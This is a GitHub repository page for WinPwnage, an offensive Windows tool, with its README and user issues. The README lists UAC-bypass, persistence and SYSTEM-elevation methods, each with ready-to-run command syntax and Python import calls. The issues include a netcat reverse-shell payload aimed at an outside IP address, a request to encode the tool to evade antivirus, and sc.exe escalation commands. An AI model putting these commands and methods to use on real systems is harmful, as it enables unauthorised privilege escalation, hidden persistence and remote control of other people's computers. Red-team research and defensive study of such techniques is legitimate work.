rootm0s/winpwnage

UAC bypass, Elevate, Persistence methods

---

• Build into single executable
• Scan for compatible methods
• Importing and usage as module
• UAC-bypass techniques
• Persistence techniques
• Elevation techniques

Disclaimer

This tool is provided for educational and research purposes only. The authors of this project are no way responsible for any misuse of this tool.

Building

This build works on Python >= 3.6 and puts the .exe file into the dist directory. Install pyinstaller using pip command:

pip install pyinstaller

And run the following command:

pyinstaller --onefile main.py

Scanning

Compares build number against 'Fixed In' build numbers and displays the results.

main.py --scan uac
main.py --scan persist
main.py --scan elevate

Example results when scanning for possible UAC methods

 Id:    Type:           Compatible:     Description:
 ----   ------          -----------     -------------
 1      UAC bypass      No              UAC bypass using runas
 2      UAC bypass      Yes             UAC bypass using fodhelper.exe
 3      UAC bypass      Yes             UAC bypass using slui.exe
 4      UAC bypass      Yes             UAC bypass using silentcleanup scheduled task
 5      UAC bypass      No              UAC bypass using sdclt.exe (isolatedcommand)
 6      UAC bypass      No              UAC bypass using sdclt.exe (App Paths)
 7      UAC bypass      No              UAC bypass using perfmon.exe

Importing

Bypass UAC using uacMethod2

from winpwnage.functions.uac.uacMethod2 import uacMethod2
uacMethod2(["c:\\windows\\system32\\cmd.exe", "/k", "whoami"])

Persist on system using persistMethod4

from winpwnage.functions.persist.persistMethod4 import persistMethod4
persistMethod4(["c:\\windows\\system32\\cmd.exe", "/k", "whoami"], add=True)

# Removal
persistMethod4(["c:\\windows\\system32\\cmd.exe", "/k", "whoami"], add=False)

Elevate from administrator to SYSTEM using elevateMethod1

from winpwnage.functions.elevate.elevateMethod1 import elevateMethod1
elevateMethod1(["c:\\windows\\system32\\cmd.exe", "/k", "whoami"])

UAC bypass techniques

Functions (Expand/Collapse)

• UAC bypass using runas
  • Id: 1
  • Method: Windows API, this only works if UAC is set to never notify
  • Syntax: main.py --use uac --id 1 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 7600
  • Fixed in: n/a
• UAC bypass using fodhelper.exe
  • Id: 2
  • Method: Registry key (Class) manipulation
  • Syntax: main.py --use uac --id 2 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 10240
  • Fixed in: n/a
• UAC bypass using slui.exe
  • Id: 3
  • Method: Registry key (Class) manipulation
  • Syntax: main.py --use uac --id 3 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 9600
  • Fixed in: n/a
• UAC bypass using silentcleanup scheduled task
  • Id: 4
  • Method: Registry key (Environment) manipulation, this bypasses UAC's Always Notify.
  • Syntax: main.py --use uac --id 4 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 9600
  • Fixed in: n/a
• UAC bypass using sdclt.exe (isolatedcommand)
  • Id: 5
  • Method: Registry key (Class) manipulation
  • Syntax: main.py --use uac --id 5 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 10240
  • Fixed in: 17025
• UAC bypass using sdclt.exe (App Paths)
  • Id: 6
  • Method: Registry key (App Paths) manipulation
  • Syntax: main.py --use uac --id 6 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 10240
  • Fixed in: 16215
• UAC bypass using perfmon.exe
  • Id: 7
  • Method: Registry key (Volatile Environment) manipulation
  • Syntax: main.py --use uac --id 7 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 7600
  • Fixed in: 16299
• UAC bypass using eventvwr.exe
  • Id: 8
  • Method: Registry key (Class) manipulation
  • Syntax: main.py --use uac --id 8 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 7600
  • Fixed in: 15031
• UAC bypass using compmgmtlauncher.exe
  • Id: 9
  • Method: Registry key (Class) manipulation
  • Syntax: main.py --use uac --id 9 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 7600
  • Fixed in: 15031
• UAC bypass using computerdefaults.exe
  • Id: 10
  • Method: Registry key (Class) manipulation
  • Syntax: main.py --use uac --id 10 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 10240
  • Fixed in: n/a
• UAC bypass using token manipulation
  • Id: 11
  • Method: Token manipulation
  • Syntax: main.py --use uac --id 11 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 7600
  • Fixed in: 17686
• UAC bypass using sdclt.exe (Folder)
  • Id: 12
  • Method: Registry key (Class) manipulation
  • Syntax: main.py --use uac --id 12 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 14393
  • Fixed in: n/a
• UAC bypass using cmstp.exe
  • Id: 13
  • Method: Malicious ini file
  • Syntax: main.py --use uac --id 13 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 7600
  • Fixed in: n/a
• UAC bypass using wsreset.exe
  • Id: 14
  • Method: Registry key (Class) manipulation
  • Syntax: main.py --use uac --id 14 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 17134
  • Fixed in: n/a
• UAC bypass using slui.exe and changepk.exe
  • Id: 15
  • Method: Registry key (Class) manipulation
  • Syntax: main.py --use uac --id 15 --payload c:\\windows\\system32\\cmd.exe
  • Works from: 17763
  • Fixed in: n/a

Persistence techniques

Functions (Expand/Collapse)

• Persistence using mofcomp.exe (SYSTEM privileges)
  • Id: 1
  • Method: Malicious mof file using EventFilter EventConsumer and binding
  • Syntax: main.py --use persist --id 1 --payload c:\\windows\\system32\\cmd.exe
  • Syntax for removing: main.py --use persist --id 1 --payload c:\\windows\\system32\\cmd.exe --remove
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Persistence using schtasks.exe (SYSTEM privileges)
  • Id: 2
  • Method: Malicious scheduled task
  • Syntax: main.py --use persist --id 2 --payload c:\\windows\\system32\\cmd.exe
  • Syntax for removing: main.py --use persist --id 2 --payload c:\\windows\\system32\\cmd.exe --remove
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Persistence using image file execution option and magnifier.exe
  • Id: 3
  • Method: Image File Execution Options debugger and accessibility application
  • Syntax: main.py --use persist --id 3 --payload c:\\windows\\system32\\cmd.exe
  • Syntax for removing: main.py --use persist --id 3 --payload c:\\windows\\system32\\cmd.exe --remove
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Persistence using userinit key
  • Id: 4
  • Method: Registry key (UserInit) manipulation
  • Syntax: main.py --use persist --id 4 --payload c:\\windows\\system32\\cmd.exe
  • Syntax for removing: main.py --use persist --id 4 --payload c:\\windows\\system32\\cmd.exe --remove
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Persistence using HKCU run key
  • Id: 5
  • Method: Registry key (HKCU Run) manipulation
  • Syntax: main.py --use persist --id 5 --payload c:\\windows\\system32\\cmd.exe
  • Syntax for removing: main.py --use persist --id 5 --payload c:\\windows\\system32\\cmd.exe --remove
  • Requires: n/a
  • Works from: 7600
  • Fixed in: n/a
• Persistence using HKLM run key
  • Id: 6
  • Method: Registry key (HKLM Run) manipulation
  • Syntax: main.py --use persist --id 6 --payload c:\\windows\\system32\\cmd.exe
  • Syntax for removing: main.py --use persist --id 6 --payload c:\\windows\\system32\\cmd.exe --remove
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Persistence using wmic.exe (SYSTEM privileges)
  • Id: 7
  • Method: Malicious mof file using EventFilter EventConsumer and binding
  • Syntax: main.py --use persist --id 7 --payload c:\\windows\\system32\\cmd.exe
  • Syntax for removing: main.py --use persist --id 7 --payload c:\\windows\\system32\\cmd.exe --remove
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Persistence using startup files
  • Id: 8
  • Method: Malicious lnk file in startup directory
  • Syntax: main.py --use persist --id 8 --payload c:\\windows\\system32\\cmd.exe
  • Syntax for removing: main.py --use persist --id 8 --payload c:\\windows\\system32\\cmd.exe --remove
  • Requires: n/a
  • Works from: 7600
  • Fixed in: n/a
• Persistence using cortana windows app
  • Id: 9
  • Method: Registry key (Class) manipulation
  • Syntax: main.py --use persist --id 9 --payload c:\\windows\\system32\\cmd.exe
  • Syntax for removing: main.py --use persist --id 9 --payload c:\\windows\\system32\\cmd.exe --remove
  • Requires: n/a
  • Works from: 14393
  • Fixed in: n/a
• Persistence using people windows app
  • Id: 10
  • Method: Registry key (Class) manipulation
  • Syntax: main.py --use persist --id 10 --payload c:\\windows\\system32\\cmd.exe
  • Syntax for removing: main.py --use persist --id 10 --payload c:\\windows\\system32\\cmd.exe --remove
  • Requires: n/a
  • Works from: 14393
  • Fixed in: n/a
• Persistence using bitsadmin.exe
  • Id: 11
  • Method: Malicious bitsadmin job
  • Syntax: main.py --use persist --id 11 --payload c:\\windows\\system32\\cmd.exe
  • Syntax for removing: main.py --use persist --id 11 --payload c:\\windows\\system32\\cmd.exe --remove
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Persistence using Windows Service (SYSTEM privileges)
  • Id: 12
  • Method: Malicious Windows Service
  • Syntax: main.py --use persist --id 12 --payload c:\\windows\\system32\\cmd.exe
  • Syntax for removing: main.py --use persist --id 12 --payload c:\\windows\\system32\\cmd.exe --remove
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a

Elevation techniques

Functions (Expand/Collapse)

• Elevate from administrator to NT AUTHORITY SYSTEM using handle inheritance
  • Id: 1
  • Method: Handle inheritance
  • Syntax: main.py --use elevate --id 1 --payload c:\\windows\\system32\\cmd.exe
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Elevate from administrator to NT AUTHORITY SYSTEM using token impersonation
  • Id: 2
  • Method: Token impersonation
  • Syntax: main.py --use elevate --id 2 --payload c:\\windows\\system32\\cmd.exe
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Elevate from administrator to NT AUTHORITY SYSTEM using named pipe impersonation
  • Id: 3
  • Method: Named pipe impersonation
  • Syntax: main.py --use elevate --id 3 --payload c:\\windows\\system32\\cmd.exe
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Elevate from administrator to NT AUTHORITY SYSTEM using schtasks.exe (non interactive)
  • Id: 4
  • Method: Malicious scheduled task that gets deleted once used
  • Syntax: main.py --use elevate --id 4 --payload c:\\windows\\system32\\cmd.exe
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Elevate from administrator to NT AUTHORITY SYSTEM using wmic.exe (non interactive)
  • Id: 5
  • Method: Malicious mof file using EventFilter EventConsumer and binding that gets deleted once used
  • Syntax: main.py --use elevate --id 5 --payload c:\\windows\\system32\\cmd.exe
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Elevate from administrator to NT AUTHORITY SYSTEM using Windows Service (non interactive)
  • Id: 6
  • Method: Malicious Windows Service that gets deleted once used
  • Syntax: main.py --use elevate --id 6 --payload c:\\windows\\system32\\cmd.exe
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a
• Elevate from administrator to NT AUTHORITY SYSTEM using mofcomp.exe (non interactive)
  • Id: 7
  • Method: Malicious mof file using EventFilter EventConsumer and binding that gets deleted once used
  • Syntax: main.py --use elevate --id 7 --payload c:\\windows\\system32\\cmd.exe
  • Requires: Administrator rights
  • Works from: 7600
  • Fixed in: n/a

Read

• https://wikileaks.org/ciav7p1/cms/page_2621770.html
• https://wikileaks.org/ciav7p1/cms/page_2621767.html
• https://wikileaks.org/ciav7p1/cms/page_2621760.html
• https://msdn.microsoft.com/en-us/library/windows/desktop/bb736357(v=vs.85).aspx
• https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
• https://github.com/winscripting/UAC-bypass/
• https://www.greyhathacker.net/?p=796
• https://github.com/hfiref0x/UACME
• https://bytecode77.com/hacking/exploits/uac-bypass/performance-monitor-privilege-escalation
• https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation
• https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20workshops/DEFCON-25-Workshop-Ruben-Boobeb-UAC-0day-All-Day.pdf
• https://lolbas-project.github.io

winpwnage's Issues

Let's use argparse

This is a task on #19 Can you please try out this locallly and tune it to your preferences?

Once it is the right stuff, we can add it into #41.

usage: argparse_hack.py [-h]
                        {scan,use} {uac,persist,elevate,execute}
                        [function_number] [target]

positional arguments:
  {scan,use}            'scan' shows information and 'use' applies a function
  {uac,persist,elevate,execute}
  function_number       'use' only: function ID in the function group
  target                'use' only: filepath to the target

optional arguments:
  -h, --help            show this help message and exit

#!/usr/bin/env python3

import argparse


def parse_the_args():
    scan_or_use = ("scan", "use")
    choices = "uac persist elevate execute".split()
    parser = argparse.ArgumentParser()
    parser.add_argument("scan_or_use", choices=scan_or_use,
                        help="'scan' shows information and 'use' applies a function")
    parser.add_argument("function_group", choices=choices)
    parser.add_argument("function_number", default=0, type=int, nargs="?",
                        help="'use' only: function ID in the function group")
    parser.add_argument("target", default="C:windows\\system32\\cmd.exe", nargs="?",
                        help="'use' only: filepath to the target")
    print("=" * 10)
    parser.print_help()
    print("=" * 10)

    for verb in scan_or_use:
        for choice in choices:
            print(verb, choice, 1)
            print(parser.parse_args([verb, choice, "1"]))

    # Should exit with error
    print(parser.parse_args([]))


if __name__ == '__main__':
    parse_the_args()

Always notify

which of this UAC techniques bypass if UAC set to ALWAYS NOTIFY?

Windows defender able to stop the exploit

Says it all, windows defender able to stop almost every usable way in windows 10 1703

Assign license

Hi folks, great project--thank you for making this happen.

I would like to potentially use this project as part of my own side project, as well, but as it stands software without a license cannot be copied, reused, modified or distributed legally. If this is intentional, please feel free to close the issue; otherwise, I suggest an open source license such as the MIT License be used.

How this tool is use??

I set it up.How this tool is used. There are no documents. Can you write a few examples?

add cmstp privesc?

Hi could you add the cmstp privesc pls?

bypass uac - WSReset

Hi,

Here is another way for bypassing uac => https://www.activecyber.us/activelabs/windows-uac-bypass
I put it here to remember it, if you don't have time, I will take a look on it but right now, I have no time sorry :)

Broken function

Elevate from Administrator to SYSTEM using named pipe impersonation is currently broken when using python 3:

• https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/elevate/elevate_named_pipe_impersonation.py

Feel free to send PR if you want to help! 👍

add some Vulnerability

you should at first convert cpp to python.
here is some Vulnerability:
https://github.com/WindowsExploits/Exploits
https://github.com/hfiref0x/CVE-2015-1701
https://github.com/SecWiki/windows-kernel-exploits

Question: schtasks in method 4 problem.

why when using schtasks.exe bypass in uac4, we can't elevate with windows service in elevate6?
other uac bypasses can run elevate6.

Travis CI currently builds the app but does not run it

Perhaps it would be a good idea to add a command to the end of the .travis.yml file that runs the app.

• Does it run as expected in Python 2?
• Does it run as expected in Python 3?

python 3 support

i see the code seem still on python 2, correct me if i am wrong

Thx 😃

Help

Can I get CASPER:socket based rat? As its been removed...

Non python install

ok i gone through those articles but seems not getting to find anyone helpful. how can someone reproduce this in non python installed environment?

Travis-ci tests fails with python3

Travis-ci tests fails with python3, help needed!

Issue:
https://travis-ci.com/github/rootm0s/WinPwnage/jobs/306780696

Failures easy.install (exited -1) - Error while running 'C:\ProgramData\chocolatey\lib\easy.install\tools\chocolateyInstall.ps1'. See log for details. The command "choco install pip" failed and exited with 127 during .

Documentation:
https://chocolatey.org/packages/pip#install

question??

can i ask for some help with modifying something?

mixed indentations and inconsistency

like in core.winstructures

class LUID(Structure):
     _fields_ = [('LowPart', DWORD),
				('HighPart', LONG)]

• tabs, spaces are mixed
• inconsistent spaces width with other classes

error: bundle-files 1 not yet supported on win64

On Travis CI Windows environments, running python build.py install raises:
error: bundle-files 1 not yet supported on win64

Is there a way to successfully complete the build process?

use windows sc.exe to elevate from admin privilegs.

sc start testserv
sc stop testserv
sc delete testserv

from admin to system privilege(non interactive)

UAC #12 - Blocked & Bugged - File Explorer Bug

Hello, many of the UAC elevations are blocked(by WinDefender), but that's not an issue, but the 12th function is real bad. It blocks changing the specific registry key, but other than that leaves it there resulting in explorer not working correctly. The regKey gets written with null and clicking any folder in explorer now spawns a new empty window.
This is just FIY if anyone has a problem with explorer after messing with this.

Error using the payload example you mentioned in the other issue

title

Specify which methods support executable with parameters in methods info.

for example persistMethod4 doesn't support using exe with params.
but persistMethod5 and persistMethod6 supports exe with params.

UAC functions - Auto-clean is broken

• If a function fails, it does not auto-clean anymore.

installation error

Elevate to SYSTEM using mofcomp

Function elevate_mofcomp.py is currently broken.

Sometimes it spawns an elevated process and sometimes it doesn't. The automatic clean-up is also broken at the moment.

Will patch this in near future.

is 20!????

Sometimes WinPwnage quits after successfully executing payload

Sometimes WinPwnage quits after successfully executing payload, so it skips the cleaning part.

[!] Attempting to run id (20) configured with payload (['c:\\windows\\system32\\cmd.exe', '/c', 'mspaint.exe'])
[+] Successfully created Default and DelegateExecute key containing payload (c:\windows\system32\cmd.exe /c mspaint.exe )
[!] Disabling file system redirection
[+] Successfully disabled file system redirection
[!] Waiting for wsreset.exe to finish, this can take a few seconds

Exits while it's supposed to wait for it to finish. The payload get's still executed once wsrest.exe is done with all the work.

Seems to happen on different functions as well. Not sure why it happens yet!

Suggestion: Add some automated testing like Travis CI, Circle CI, Appveyor

They are all free for Open Source projects like this one.

https://github.com/marketplace/category/continuous-integration

persis and techniques

what are command for persistence and execution techniques?

The to-do list

The to-do list:

• Update all the "print_" messages so they make more sense
• Update all function descriptions so they are correct
• Update README
• A better way to do cleanup. Right now.. if function returns False in early stage, this prevents the cleanup in most of the functions. (Fixed in: f8dd0a6)
• Restructure winstructures, it's all messy right now
• Convert the code to python3 but keep python2 support so Pupy (https://github.com/n1nj4sec/pupy) can work
• Add automated testing (Travis CI, AppVeyor, etc.)
• Replace all sys.argv[] calls from main.py and use argparse instead (Fixed in: 7de4146)
• Deprecate py2exe support
• Remove py2exe from README
• Add better way to display the scan results
• Change Syntax winpwnage.py in README to main.py
• Deprecate DLL based methods/functions
• Remove Python2 support

Can we run --use commands in the automated tests?

Is there something more interesting that we could do at the end of the automated test?

We currently just run the four -scans but is there some -use commands as well?

https://github.com/rootm0s/WinPwnage/blob/master/.travis.yml#L84-L88

python winpwnage.py -scan -uac
python winpwnage.py -scan -persist
python winpwnage.py -scan -elevate
python winpwnage.py -scan -execute

detected by antivirus

This tool is detected by antivirus
how can i encoding this tool for anti detect?

CMD not spawned

Hey,

I tried with 2nd and 13th function of UAC, but cmd is never spawned, although there are no error messages. Any ideas?

error

Traceback (most recent call last):
File "winpwnage.py", line 4, in
from winpwnage.core.scanner import scanner, function
File "/home/xubuntu/tools/WinPwnage/winpwnage/core/scanner.py", line 1, in
from winpwnage.functions.uac.uac_runas import *
File "/home/xubuntu/tools/WinPwnage/winpwnage/functions/uac/uac_runas.py", line 2, in
from winpwnage.core.utils import *
File "/home/xubuntu/tools/WinPwnage/winpwnage/core/utils.py", line 7, in
import winreg as _winreg
File "/usr/local/lib/python2.7/dist-packages/winreg/init.py", line 6, in
from _winreg import *
ImportError: No module named _winreg

UAC Bypass #4 - No Behavior

I tried using UAC bypass 4. Intitially, it said it could not find the schtasks executable. To fix this, I used os.system instead of the process method you made. Still, all that happens is you see a working cursor. No payload is spawned.

another question. (i'm sorry)

how can i make it so when i click the exe it open the command prompt and runs a pre-specified command? instead of opening cmd and writing "winpwnage.exe --use uac --id 2 --payload start cmd /k whoami" but instead i just click the exe and it does that for me?

question??

How do i make this a exe? I want to still tinker around with the python code but how do i turn it into a exe afterwards?

when multiple bypasses are used in the same script

so instead of using the cli, im using python code

i can successfully bypass a single executable, but I cant bypass two within the same script which makes me believe [without looking at the code] that there code that is telling it to exit, as python code does not normally exit the script without the dev specifically telling it to do so, so I am kinda wondering about this
this project is awesome! btw :D

from time import sleep
from winpwnage.functions.uac.uacMethod4 import uacMethod4


f1 = r"C:\Users\nubonix\sandboxie\sandboxie.exe"
f2 = r"C:\Users\nubonix\Desktop\WinPwnage\dist\cli\cli.exe"
uacMethod4([f1])
sleep(30)  # after various re-trials of trying to get more than one executable to be bypassed within the same script/program, this was my sanity check
uacMethod4([f2])

prevent from windows problem.

WinPwnage/winpwnage/functions/uac/uacMethod4.py

Line 20 in 99a4a0d

if registry().remove_key(hkey="hkcu", path=path, name="windir", delete_key=False):

after above cleanup, the windows will go to problem in its environment. so some of the windows features won't work because they don't have %windir% value in environment.
don't remove registry value or key.
you should write its real value in the registry after you got access by this way.

not just this method, you should apply this fix for all registry methods

Payload with parameters

Hello and thank you for the useful tool!

I would like to ask for clarification concerning the --payload parameter. The help output indicates it is possible to pass parameters to the payload.

When I do .\winpwnage.exe -u uac -i 3 -p "c:\windows\temp\nc.exe -e powershell.exe 192.168.178.10 3333", I get the error that the payload is invalid. I can guess why, because it tries to find an executable named like the fully quoted string.

But when I do .\winpwnage.exe -u uac -i 3 -p c:\windows\temp\nc.exe -e powershell.exe 192.168.178.10 3333, without the quotes, winpwnage aborts because it tries to interpret the -e option by its own.

How does passing parameters to the payload work in this case? And how is it even possible to distinguish payload parameters from further payloads? (The latter question arises because --payload is defined with nargs="+".)

add .gitignore

Bypassing UAC

Can we use this module for installation of an app like notepad++ as admin without uac prompt in a standard account. Or can we pass the username and password to install exe apps in a machine silently...

convert to exe with pyinstaller, output not work

I'm trying to convert this project to exe file with pyinstaller --onefile winpwnage.py command
the process was complete successfully , but when execute the exe file in dist folder not thing is happen, and there is no output to screen

sys.exit(1) should be called when a use fails

When [-] is printed then WinPwnage should not exit with 0. This will signal the calling script that a failure has occurred.

[-] Technique not compatible with this system.
The command "$RUN_WINPWNAGE -use -uac 1 /c/windows/system32/cmd.exe" exited with 0.

• https://travis-ci.com/rootm0s/WinPwnage/jobs/187405512#L229-L230
• https://travis-ci.com/rootm0s/WinPwnage/jobs/187405512#L313-L314
• https://travis-ci.com/rootm0s/WinPwnage/jobs/187405512#L330-L331
• https://travis-ci.com/rootm0s/WinPwnage/jobs/187405512#L347-L348